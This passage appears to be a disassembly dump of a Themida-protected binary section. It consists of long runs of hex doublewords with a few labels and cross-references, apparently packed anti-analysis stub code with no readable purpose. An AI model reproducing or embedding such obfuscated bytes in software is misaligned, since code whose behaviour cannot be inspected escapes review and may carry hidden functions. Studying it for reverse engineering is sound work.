		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0EFC35747h
		dd 0E5D48F01h, 1E18376h, 34850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0E70E2AC3h
		dd 0D82BDEB9h, 5E952h, 37D80000h, 584C7057h, 81D9D89h
		dd 8D8B05E2h, 5E20B5Dh,	13E9h, 857C2100h, 6471F949h, 69185C83h
		dd 0D619DDDAh, 0FC2DCBF7h, 0F01E183h, 0B85h, 0EE816600h
		dd 0BD294352h, 5E218D1h, 6A6061h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 67C4CC3h, 8177032Ch
		dd 0FFFEB991h, 8E8FFFFh, 83000000h, 0A7559CBDh,	8BB97EE1h
		dd 0E2242195h, 8D215B05h, 5E209F9h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 55C35141h, 66657F62h, 7B47DE81h
		dd 9498D89h, 8D2105E2h,	5E204C1h, 31D5B58Bh, 8D8B05E2h
		dd 5E209F9h, 83C68B66h,	850F01E1h, 2Ah,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 66C35747h, 0BD8B1195h
		dd 5E22BF5h, 0A558529h,	8D8B05E2h, 5E204C1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 1EC35747h, 81663327h
		dd 83E666C6h, 850F01E1h, 6, 1A799D8Bh, 606105E2h, 6870Fh
		dd 0CA810000h, 9857195h, 0FFFFFEB9h, 12E9FFh, 0C1540000h
		dd 383B2DF8h, 58922E4Ah, 0D6C919E6h, 43927B27h,	218D8D21h
		dd 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0D2FB09C3h, 15BD9529h, 8D2105E2h,	5E21CDDh
		dd 19B98589h, 8D8B05E2h, 5E2218Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0EDC35545h,	74238F26h, 1E18302h
		dd 6850Fh, 0BD010000h, 5E21FC9h, 1CDD8D8Bh, 0E18305E2h
		dd 0C850F01h, 0F000000h, 688h, 8C0F00h,	61000000h, 53006A60h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 1A5F6C5Ah, 8D31F98Bh, 5E2221Dh, 0FFFFFEB9h, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 8D9EA03h, 0DAE890BBh, 0DD8D216Ah, 905E200h, 0E223198Dh
		dd 558D2105h, 6A05E215h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8B59C352h, 0E200DD8Dh
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0E1836057h, 20850F01h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0AF3C356h, 8BFE8BFFh, 0E215558Dh, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0A8BC46E7h
		dd 81E06F61h, 12E8h, 7782F100h,	48896B86h, 2CB2621h, 0E52C900Bh
		dd 0FC3F21Eh, 68Dh, 298D2900h, 5E05E209h, 0F01E183h, 1385h
		dd 0EE900h, 5E700000h, 2D72C18Eh, 538D7D7Dh, 0B4753F21h
		dd 6A6061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 746E6CC3h, 0F377D6Fh, 85C7C6B7h, 5E22121h
		dd 7D0h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 17h,	66C35343h, 0FD96B36h, 6A61D7BFh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0BFB8C356h
		dd 57C6A71Fh, 9D6107EBh, 0E9h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0BA6FDBBFh
		dd 1B2D585Fh, 85017A6Fh, 5E20A89h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 98C35242h, 0BD891AE3h, 5E20C15h
		dd 0BAC18Bh, 81F008F0h,	0EAh, 14C283F0h, 21319589h, 0EA8305E2h
		dd 91858D14h, 5005E635h, 35FF64h, 64000000h, 2589h, 0E80000h
		dd 58000000h, 25C22Bh, 66FFFFF0h, 5A4D3881h, 12850Fh, 0B70F0000h
		dd 0D0033C50h, 45503A81h, 840F0000h, 0Ah, 10002Dh, 0FFD9E900h
		dd 0C88BFFFFh, 2A958589h, 400305E2h, 50B70F3Ch,	3D958906h
		dd 8B05E214h, 95895050h, 5E21811h, 0F805h, 0C508B00h, 9589D103h
		dd 5E20E99h, 89085003h,	0E2101595h, 58F6405h, 0
		dd 0E904C483h, 13h, 244C8B51h, 0B0A98110h, 0
		dd 59000010h, 83C3C033h, 0E21CA1BDh, 840F0005h,	24h, 0A4985C6h
		dd 684705E2h, 0D49AA7D2h, 16A1B5FFh, 858D05E2h,	5E57A61h
		dd 6AD0FFh, 8589D0FFh, 5E232A9h, 10E8D38Bh, 0F3000000h
		dd 668192E1h, 0C7CA2532h, 8F561EE1h, 0E90D78D3h, 10h, 575AF808h
		dd 0C3790A1Dh, 0D1869D78h, 9C1ACC71h, 0DE95Ah, 59E10000h
		dd 0C53FB1DBh, 9CE7BBF3h, 817A3667h, 6F59C2h, 38E0F00h
		dd 0F000000h, 0FF2BF7B7h, 0EE9h, 5ACD2B00h, 570D500Ah
		dd 1ACF3866h, 8B3186FDh, 0D6B43A1Ch, 0C2FAF381h, 82B13EDCh
		dd 0C225C381h, 0CF8B5A23h, 8A02EB81h, 0E8604E99h, 11h
		dd 33A553F1h, 0E45EA66Ch, 0F657DD60h, 64C426A0h, 0D9B70FB4h
		dd 12E858h, 900E0000h, 2668DCE9h, 0C615749Ch, 0DA213421h
		dd 43D7A225h, 8153615Ah, 75AB66D6h, 3A048F0Eh, 0F7E18050h
		dd 8159B458h, 2B0A3AEFh, 81CF8B46h, 2B0A36C7h, 0FF81FC46h
		dd 0FFFF91C8h, 35850Fh,	60600000h, 10E8h, 0BCD6FC00h, 0F3A513D8h
		dd 0DF672B9Bh, 0CFF00E3Dh, 8B665862h, 8B6661F2h, 29E961DAh
		dd 71000000h, 0D93A7796h, 63EF2378h, 1C10042Dh,	0E86F880Fh
		dd 6, 0B022FD5Eh, 5EFCC1C8h, 0FFFF3EE9h, 8FF4E5FFh, 0B1487981h
		dd 51006A60h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 8B3DB5AAh, 5AF681C0h, 8313B6B8h,	0E21EA9BDh
		dd 9750005h, 1805BD83h,	740005E2h, 8B535019h, 438B8C0h
		dd 85890000h, 5E2315Dh,	0B2FA9D8Dh, 0D3FF05E4h,	0BD83585Bh
		dd 5E21805h, 50177400h,	438B853h, 85890000h, 5E2315Dh
		dd 0AFE99D8Dh, 0D3FF05E4h, 6A585Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0BE4649C3h
		dd 73687FAFh, 23518501h, 8B6605E2h, 51006AF7h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0BB36B68Ah
		dd 2A69BD31h, 0C08B05E2h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 39C35141h, 0FD8D8999h, 0E805E22Fh, 9C1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0F1C35040h
		dd 456AE418h, 0E8503E8Eh, 14h, 59EE4D2Eh, 0C5152DDAh, 0E7F68451h
		dd 6A5A2D11h, 392BA5FBh, 1F04B966h, 7E9605Eh, 7A000000h
		dd 4EA00E6Dh, 99B8EAD4h, 6169A564h, 18ED8589h, 6A05E2h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8D894AC3h, 5E21BF9h,	3890Fh,	0BF0F0000h, 937E8C8h, 0BE80000h
		dd 61000000h, 81FA897Dh, 2725613Eh, 73B9B280h, 5F55DA5Ch
		dd 10E58589h, 0B50905E2h, 5E20A9Dh, 910E8h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 89604FBBh, 0E232D1B5h, 85896105h, 5E21FD9h, 1145B589h
		dd 0DAE805E2h, 6A000008h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0C110C352h,	0EC04399Ch
		dd 6D150533h, 0D6D78166h, 6185893Ch, 6A05E223h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 872FC351h, 26198D89h, 840F05E2h, 0Fh, 0AE9h,	9F9BB700h
		dd 108B9368h, 0E887F4FDh, 86Dh,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 6C35646h, 770A5B3Bh, 0BD2960FEh
		dd 5E21539h, 0E31858Bh,	896105E2h, 0E2065985h, 0B1BD8905h
		dd 0E805E22Fh, 82Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 64C35242h, 10E098CBh,	89053BB8h, 0E226719Dh
		dd 5D858905h, 6A05E232h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0B72C357h, 0BD8B65A0h
		dd 5E20725h, 5E956h, 0C3550000h, 5FFB4B34h, 7C8E8h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 57B59998h, 666F4C1Eh, 0F315C681h, 1CD18589h,	0BD8B05E2h
		dd 5E2153Dh, 10E9h, 10758300h, 6D910527h, 0A5B41433h, 3AF8680Eh
		dd 77BE8C4h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 4FE57FC3h, 0ED646B53h, 21FD8589h
		dd 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0D93EAC3h, 0D217F168h, 0A1B58B0Eh, 0E805E213h
		dd 725h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0E7C35545h, 89B393D0h, 0E21E899Dh, 0B4C2BF05h
		dd 85891698h, 5E23249h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 0F6C35242h, 0D2E8F37Bh, 6A000006h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 742CC351h, 26ABD6E5h, 0EE9292Dh, 82000000h, 2E41457Fh
		dd 0D8CA2C5Fh, 772A7F61h, 0F185899Eh, 6A05E21Dh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 69AC350h, 66B2AB22h,	670E8h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 22C41443h
		dd 38C1BEF1h, 85894871h, 5E23045h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 11C35343h, 0E823E580h, 621h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 6DC35747h
		dd 0FEF0D7E9h, 38716508h, 0AE9B0h, 0EFC10000h, 5680EBB1h
		dd 38278D89h, 2A798589h, 6A05E2h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 4C65E5C3h, 3112DA9Ch
		dd 0E20E45B5h, 5BBE805h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 8D0996C3h, 5E21EE5h
		dd 1DC98589h, 958905E2h, 5E22521h, 0BD8B5260h, 5E2263Dh
		dd 7EE86158h, 6A000005h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 206FC352h, 0F1A71D7h
		dd 13E98FA6h, 16000000h, 0DBEF8B80h, 0B3B3E47Fh, 9B002FD0h
		dd 0EE3E6466h, 85896CC4h, 5E203DDh, 9D8B6060h, 5E21D09h
		dd 8B616160h, 0E205B99Dh, 26E86105h, 1000005h, 0E20A7DB5h
		dd 39B50105h, 8905E209h, 0E21D0585h, 0B58B6005h, 5E205D1h
		dd 1889958Bh, 0E86105E2h, 501h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 3EC35343h, 0CD858945h, 6A05E22Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0A812C355h, 5B0C23E7h, 960E1B5h, 0E2063595h
		dd 0E98D8905h, 6105E22Bh, 0BF0F00B0h, 0D8B60FFEh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0BBC35141h, 3C8876EDh
		dd 0B12AB15Bh, 6BA95h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0BE944BC3h, 0AC290A6Dh
		dd 0C99589BFh, 8B05E200h, 0FA8B66C3h, 6A04E8C1h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0F0DC353h, 0F766F3B7h, 55006AE2h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 156BA231h, 0BC2B92B3h, 0A31AEE81h, 0FB8B1AC6h
		dd 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 35B8EAC3h, 5059F553h, 5E9h, 0B7BF7500h, 1C89D285h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8D29C8ADh, 5E216E9h, 162195FFh, 0B58905E2h
		dd 5E20A21h, 15958D5Bh,	6A05E216h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0C75BC353h
		dd 8B977028h, 0E214958Dh, 311A8905h, 0E230898Dh, 6E805h
		dd 0D5540000h, 2647C710h, 442895Fh, 11D8D8Bh, 8E905E2h
		dd 7000000h, 0AE7CB40Dh, 8D063BA3h, 0E21A2D95h,	55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 90989B62h, 8FE5BFB3h, 918D0BF9h, 8905E21Fh, 57006A1Ah
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 45048049h, 4428938h,	68E0Fh,	0BD8B0000h, 5E200D9h, 2CA9958Dh
		dd 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 21EDBCC3h, 814EC711h, 0B1B0B6D7h,	6A1A893Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 74BAC357h, 897B02DBh, 0C7810442h,	11892B7Bh
		dd 66D958Dh, 8D8B05E2h,	5E20611h, 1ECD9D01h, 1A8905E2h
		dd 89F6BF0Fh, 6A0442h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 9C3A60C3h, 0F98B7A48h, 80CDF413h
		dd 0BE6655EDh, 958DB5EAh, 5E2326Dh, 1A019D31h, 1A8905E2h
		dd 89C88B66h, 6A0442h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 7B650AC3h, 664ED958h, 8D0493B9h
		dd 0E2151995h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0C31E0403h, 5500A9B7h
		dd 14E8C1E3h, 10000000h, 0E8D85BD1h, 0C04AC2E5h, 0E582AA6h
		dd 4D7100A5h, 0E9E8E707h, 12h, 1D0D6612h, 266AA778h, 0AA93998Eh
		dd 0E1995C92h, 895FF2B8h, 1995091Ah, 8905E230h,	6A0442h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 6756A6C3h, 958DC88Bh, 5E21995h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0CCC35242h,	1CA60A48h, 31BD8BC5h
		dd 8905E225h, 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 8145A9E2h, 80AB07D7h, 0FE80Ch, 0C3CD0000h
		dd 4376166Ch, 0BF017F5Eh, 3E7CA423h, 2860FB6h, 8B000000h
		dd 42895EF1h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 4BEBB2EEh, 8DEC0F40h, 0E2140995h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0C068266Ch, 3B0C8314h, 1B00DF81h, 81601304h
		dd 0DF1DDAD2h, 25B58B17h, 6105E22Bh, 6A1A89h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0B4EC57C3h
		dd 668F43DDh, 81E576A0h, 68691BEFh, 4428975h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9BC35141h, 0A6625279h
		dd 898728E4h, 0E2236DB5h, 10DE905h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 90E8BDC3h
		dd 0FF20C723h, 2890F60h, 0B5000000h, 0F576053h,	83h, 880F5A00h
		dd 16h,	10E8h, 0A8C32900h, 0B63F4C4Eh, 0B553C1D1h, 0E771AC9h
		dd 89615BAAh, 0E20191B5h, 6A006A05h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0A8C0C356h
		dd 663DC445h, 6AF98Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0B9C35545h, 22E98D8Bh, 0BD8B05E2h, 5E21D09h
		dd 0F18B006Ah, 6A006Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0E9A008C3h, 0Dh,	9F5D9B2Dh, 7948B13Ah
		dd 2E7DE471h, 0C595FFC3h, 0C305E216h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 11C35141h, 548BE7C0h, 6ECAB287h
		dd 1880Fh, 8AF90000h, 6AC08BC5h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8343C350h, 0E21EA9BDh
		dd 9750005h, 1805BD83h,	740005E2h, 8B535019h, 438B8C0h
		dd 85890000h, 5E21DD5h,	0B3619D8Dh, 0D3FF05E4h,	0BD83585Bh
		dd 5E21805h, 50177400h,	438B853h, 85890000h, 5E21DD5h
		dd 0B0029D8Dh, 0D3FF05E4h, 0BE66585Bh, 0BE9CB76h, 58000000h
		dd 11D3560Ah, 0B43B5901h, 0C08B8712h
dword_531F9C	dd 0E91858Dh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
					; DATA XREF: Themida_:004EE5D4o
		dd 150424h, 55450000h, 8B9E8FC3h, 0E20BB59Dh, 14E805h
		dd 54610000h, 0D0672615h, 9D737D13h, 0C1087A9Fh, 0ECD13B24h
		dd 9D2BF46Eh, 5E21BCDh,	5751905Bh, 810Fh, 5B5B0000h, 6A9050h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0AFC35545h
		dd 70A636EBh, 85092965h, 5E22465h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 5313DEC3h
		dd 32419D89h, 0F5F05E2h, 68Bh, 159D8B00h, 8D05E21Eh, 0E644CB85h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 8163E3EFh, 850105C5h, 5E22169h, 6A05C083h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 9BDFC353h, 0B7508F67h, 24048994h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 7BC35646h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 9722FAC3h, 0BE9006Ah, 19000000h, 80415F39h, 0F1B7FBCCh
		dd 0DA8B1AA4h, 1E2D95FFh, 0BD8B05E2h, 5E21D35h,	9D808D8Dh
		dd 9D8B05E5h, 5E22499h,	0BB66D1FFh, 0BD830BA9h,	5E200B9h
		dd 63850F01h, 6A000000h, 0D5852902h, 9005E20Ch,	9E9h, 663D4700h
		dd 5491966h, 52503743h,	4808BF66h, 6A905Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0FAADDFC3h
		dd 19BD89EDh, 6005E20Ah, 89958B60h, 6605E22Ah, 2961C18Bh
		dd 0E2113595h, 95FF6105h, 5E214E9h, 331DB589h
		db 0E2h, 5
word_532182	dw 92E9h		; DATA XREF: Themida_:004EFE20o
		dd 0E800000Dh, 0
		dd 0D5ED815Dh, 0E905E644h, 8, 571DD274h, 136F6A36h, 9D78166h
		dd 9E858D01h, 8905E58Eh, 0E226A1BDh, 60605005h,	6AEEBF66h
		dd 61CF8B66h, 8961CA8Ah, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0C000CEC3h, 35FF643Ch
		dd 0
		dd 258964h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 2AF3C357h, 0E9B9A123h
		dd 14h,	14C3F5F5h, 5AE5F044h, 21EF7132h, 0E5A08B83h, 0FB83510Ah
		dd 1B599589h, 85FF05E2h, 5E22329h, 100DBD23h, 0FF6A05E2h
		dd 0FFD98B66h, 0E218EDB5h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0F877D7Fh
		dd 0C381FEBFh, 207BF862h, 189D95FFh, 0F6E905E2h, 0F000000h
		dd 68Eh, 0DDBD8B00h, 0B005E216h, 65BD8B00h, 0E605E200h
		dd 859D8970h, 0E405E216h, 75BD3371h, 3C05E22Bh,	0CA830F61h
		dd 0F000000h, 0B60FF8BFh, 6BAC8h, 8BF80000h, 7D93BFC1h
		dd 0E8C12A6Eh, 0E2F76604h, 0CD9856BBh, 81C82B24h, 2D26AEF3h
		dd 80D18B35h, 3E98CF3h,	66000000h, 858BDF8Bh, 5E21615h
		dd 12E860h, 3B6E0000h, 0AC0F0023h, 0FA9DC425h, 5478947Dh
		dd 0E79C6712h, 61F85AFCh, 0C87EC781h, 0C08317A7h, 0BE907h
		dd 7ACA0000h, 0CF4EBD95h, 8CFD1850h, 0C0833Fh, 2CFDB589h
		dd 0D03B05E2h, 1A830Fh,	8A0F0000h, 4, 2AAEBF66h, 3CE9h
		dd 758D3100h, 6605E208h, 0A12F381h, 4C18D8Bh, 8B6605E2h
		dd 1E183FEh, 1F840Fh, 0BD8B0000h, 5E2168Dh, 4C1A583h, 89FE05E2h
		dd 0E2161595h, 1800F05h, 0F5000000h, 0E9h, 0EAB58D00h
		dd 6A05E5D1h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0F6D6C353h, 452B81D1h,	89174325h
		dd 0E223C9B5h, 81006A05h, 0D72FF1E3h, 0B995FF17h, 0F05E20Ah
		dd 688h, 0BF665600h, 0B95BBD49h, 6CAh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 98C35646h, 0E5BFB390h, 0FCE1838Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6CC35545h
		dd 0E571F1BFh, 6AFC4Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0BD939AC3h, 15D35AECh, 89C02BF5h
		dd 0E211359Dh, 0E8D22B05h, 10h,	6E69247Fh, 4736AA0Fh, 59A5112Fh
		dd 0E5202D67h, 0C233AD5Bh, 0D003E8D1h, 7504E983h, 51006AF4h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 8B6663F3h, 419D01F8h, 0D05E215h, 88h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 79C35343h, 0B07F4706h
		dd 0FB8B664Fh, 0BE9958Bh, 6A05E2h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0D26CFFC3h, 0ED9E28C5h
		dd 11E8E5DBh, 0C0000000h, 0A223BDE8h, 844E5035h, 0BF1954B5h
		dd 496875CBh, 0D22CBB66h, 618D8B5Fh, 5005E207h,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 55006A58h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 4D8B8EC8h
		dd 6DD12A89h, 820F0D73h, 6, 1801B589h, 0BD8305E2h, 5E20D79h
		dd 70840F00h, 66000000h, 0F58CF781h, 0B8h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 0C0776CB2h, 8BFE04Dh, 3850F60h, 0F000000h, 0B866F2B7h
		dd 8D615F18h, 0E24C428Dh, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 72F6E92Ah
		dd 0E1FF54BCh, 0F121C1BBh, 0BD953110h, 8305E21Fh, 0E21B55BDh
		dd 840F0005h, 403h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0BCC35141h, 0CCC7AFF6h, 36F97410h, 3261BD89h
		dd 0BD3305E2h, 5E205A9h, 1B55BD83h, 0F0105E2h, 3E184h
		dd 0E1B58900h, 8305E219h, 0E21B55BDh, 860F0305h, 398h
		dd 2471BD8Bh, 6A6005E2h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 42AC353h, 66D98B27h
		dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 59ABDFC3h, 80AAD83Dh, 6A04E1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 651E4EC3h
		dd 2F95BD29h, 800F05E2h, 5, 0D0C38166h,	0FC90AAEh, 11984h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 7A50418Fh, 0A7D9F3C3h, 12E935h, 0C6120000h
		dd 89FC4420h, 3E16043Bh, 0C2CDA3A8h, 5FEF8F22h,	241D858Bh
		dd 800F05E2h, 0
		dd 2AA98533h, 0E89005E2h, 5, 0E2C20D1Dh, 0FA8B6645h, 5E9505Fh
		dd 3E000000h, 91388892h, 0BD9D8B90h, 6A05E204h,	445CBB00h
		dd 166825DEh, 50E2E43Eh, 0F7BB752h, 8E831h, 3BA60000h
		dd 7B7B3E3Bh, 0E6BF9786h, 5F07C0FCh, 481585Ah, 3AC5E924h
		dd 7CD6BF1Dh, 95FF6BC4h, 5E20839h, 6E9FE8Bh, 0EE000000h
		dd 45236EF5h, 9D85896Dh, 6A05E5BBh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 2353C355h
		dd 6860Fh, 9D010000h, 5E20E4Dh,	1A3E9h,	57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0E9D3AB09h, 0Eh, 0D9415608h,	0E1CF4535h, 8A71E796h
		dd 858B6B74h, 5E5BB95h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 89C35747h, 8BDC0C76h,	0E21CD5BDh, 0ED8D8905h
		dd 0C705E22Ah, 1800h, 0C7816600h, 0B58B5E6Bh, 5E5BB99h
		dd 8BF9B70Fh, 0E200F985h, 0DA8A6005h, 8B068961h, 0E21379BDh
		dd 1D858B05h, 6A05E224h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0F0C4C357h,	0AA66A965h
		dd 9D035157h, 5E20C71h,	446895Fh, 152D9D23h, 0BF5005E2h
		dd 29F95FB1h, 29243489h, 0E226A1B5h, 95B5FF05h,	5005E5BBh
		dd 178E0Fh, 11E80000h, 5E000000h, 0C66C5322h, 6446DF6Ah
		dd 2F2BA31Eh, 9DE03B35h, 38685B5Bh, 52057C87h, 0D22AC8BBh
		dd 34815F24h, 6384C724h, 0BB665705h, 8D5FF57Dh,	0E5BB9D85h
		dd 9D8B5305h, 5E20D25h,	5250905Bh, 0BE85250h, 93000000h
		dd 127E98C9h, 92F0F99h,	0F5B486Ah, 0F525031h, 5A585A31h
		dd 5A310F58h, 52505058h, 8B66310Fh, 90585AFAh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 58C35545h, 1E9FA151h
		dd 1D9D8B84h, 8B05E209h, 3995FFFBh, 6A05E208h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 553DC356h, 0DAB13CBEh, 8AAC4C15h, 0FE8B66DCh, 0F59D0161h
		dd 0C705E208h, 0E21B5585h, 305h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BD83326Bh
		dd 5E5BB9Dh, 4D840F00h,	6A000000h, 3E85200h, 20000000h
